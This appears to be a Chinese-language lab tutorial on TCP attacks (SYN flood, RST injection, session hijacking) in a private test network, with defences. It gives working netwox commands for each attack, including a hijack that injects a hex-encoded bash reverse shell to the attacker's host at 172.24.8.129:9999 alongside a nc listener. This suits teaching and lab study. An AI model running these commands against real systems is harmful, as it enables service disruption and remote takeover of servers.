1)攻击原理 攻击方只需要发送大量的syn分节给服务器,然后对服务器返回的syn+ack什么也不做,直接忽略掉。 不发送ack给服务器,这样就可以一直占着服务器半连接对列的资源,导致正常的客户端无法连接上服务器。 syn flood的攻击方式主要有两种: 第一种是,攻击方的客户端一直发送syn,对于服务端回复的syn+ack什么也不做,直接忽略掉。 第二种是,攻击方的客户端发送syn时,将源IP改为一个虚假的IP,然后服务器会将syn+ack发送到虚假IP上去,这样客户端也不需要回复ack。 2)半开攻击实验模拟 ①环境准备:
服务端:172.24.8.134 客户端:172.24.8.253 攻击者:172.24.8.129②在服务端首先将**/proc/sys/net/ipv4/net.ipv4.tcp_syncookies**的值设为0,关闭防御机制,增强实验效果。 ③使用netwox的76号工具进行攻击 攻击前使用客户端连接服务端(在服务端搭建了一个http服务器用来测试) 发现可以成功访问
使用netwox 76 号工具进行攻击
sudo netwox 76 -i 172.24.8.134 -p 80再次进行测试: 发现已经不能成功建立连接了 3)防御措施 建立cookies机制。 cookies机制就是只为已经成功建立了TCP连接的主机,继续分配连接资源。像那种发出大量syn的连接,但不回复ack的连接,不予受理。后面的连接是建立在前面的连接三次握手已经完成的基础上的。 做法:将/etc/sysctl.conf中的net.ipv4_syscookies值设为1(默认情况下就是1)。 cookies的建立是利用了hash算法提取TCP头部的一写字段来做标记,相当于建立了一个名单。
1)攻击原理 RST:就算是reset的意思,重置就是指受害者收到的TCP包中携带RST字段,不论当前处于什么状态,都会将当前的连接释放掉。 举例来说,就是A和服务器B建立的TCP连接,如果此时的攻击者C伪造了一个TCP RST的包发给B,就会使B异常的断开与A的连接,这就是RST攻击。 伪造带RST位的TCP包会有什么后果: ①假定攻击者C伪装A发过去的包,这个包里面的RST置位,缓冲器上所有数据,B都会丢弃,并强制关闭所有连接。 ②如果C伪装成A发过去的包是syn包,那么B会表示A已经是正常的连接了却又来建立新的连接,默认是不安全,B会主动向A 发送一个RST包,并在自己这端强制关闭连接。 2)开始攻击 ①环境准备:
服务端:172.24.8.134 客户端:172.24.8.253 攻击者:172.24.8.129②使用netwox的78号工具进行攻击 攻击前使用客户端远程连接Telnet服务端 开始攻击:
sudo netwox 78 -i "172.24.8.134" -f "port 80"可以看到,再次查看的时候,发现已经断开了连接了。 3)防御手段 简单粗暴的一个可行方法:通过防火墙进行简单设置,建议使用防火墙将进来的带RST位的包丢弃。
1)TCP劫持攻击原理 1、hacker获取client与server的TCP会话包(通常通过ARP毒化、MAC地址洪泛等方法) 2、观察server发送给client的TCP报文,以获取client将要发送给server的下一个报文信息。 需要将里面显示的序列号显示为真正的序列号。 3、hacker利用工具伪造一个TCP报文,发送给server,其内容信息通过步骤2获得的报文信息来确定。 大致需要的报文信息有: 二层的src-MAC是hacker的地址 三层的src-IP是client的IP,des-IP是server的IP)四层的参数则是通过步骤2获取。 2)反弹shell原理 可以使用kali和客户端来实现: kali上先利用需要监听的端口,这里我们监听9999端口
sudo nc -l -p 9999 -v将反弹shell转换为16进制
bash -i>&/dev/tcp/172.24.8.129/9999 0>&1 //这是一个简单的shell脚本我们使用HEX编码器将这个shell脚本转换为16进制编码(切记:在编码结束后面要加上回车键的16进制0d00,表示执行的意思)
62617368202D693E262F6465762F7463702F3137322E32342E382E3132392F3939393920303E26310d00观看效果:使用ls可以进行一下测试 2)实验模拟 ①实验环境准备
服务端:172.24.8.128 客户端:172.24.8.253 攻击者:172.24.8.129提前打开wireshark抓包工具。 ②先使用客户端远程Telnet服务端,并且攻击者kali开启反弹shell功能。 ③攻击者使用wireshark抓包工具并分析报文 ④使用netwox的40号工具进行TCP的劫持(里面内容是根据步骤③报文分析而得)
sudo netwox 40 --ip4-ttl 128 --ip4-protocol 6 --ip4-src 172.24.8.253 --ip4-dst 172.24.8.128 --tcp-src 1077 --tcp-dst 23 --tcp-seqnum 263448091 --tcp-acknum 780472132 --tcp-ack --tcp-psh --tcp-window 227 --tcp-data 62617368202D693E262F6465762F7463702F3137322E32342E382E3132392F3939393920303E26310d00测试结果: 可以看到攻击者已经成功远程到了服务器上。